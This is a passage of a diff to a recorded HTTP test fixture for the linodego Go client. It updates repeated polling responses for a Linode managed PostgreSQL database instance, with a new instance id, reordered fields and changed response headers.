"type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -11766,16 +14382,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:20:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11791,7 +14410,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11807,18 +14426,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -11831,16 +14450,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:21:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11856,7 +14478,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11872,18 +14494,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -11896,16 +14518,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:21:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11921,7 +14546,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11937,18 +14562,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -11961,16 +14586,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:21:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11986,7 +14614,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12002,18 +14630,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -12026,16 +14654,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:21:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -12051,7 +14682,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12067,18 +14698,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -12091,16 +14722,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:22:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -12116,7 +14750,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12132,18 +14766,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -12156,16 +14790,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:22:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -12181,7 +14818,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12197,18 +14834,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -12221,16 +14858,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:22:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -12246,7 +14886,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12262,18 +14902,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -12286,16 +14926,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:22:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -12311,7 +14954,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12327,18 +14970,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -12351,16 +14994,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:23:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -12376,7 +15022,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12392,18 +15038,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -12416,16 +15062,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:23:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -12441,7 +15090,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12457,18 +15106,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -12481,16 +15130,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:23:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -12506,7 +15158,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12522,18 +15174,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -12546,16 +15198,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:23:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -12571,7 +15226,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12587,18 +15242,18 @@ interactions: - application/json 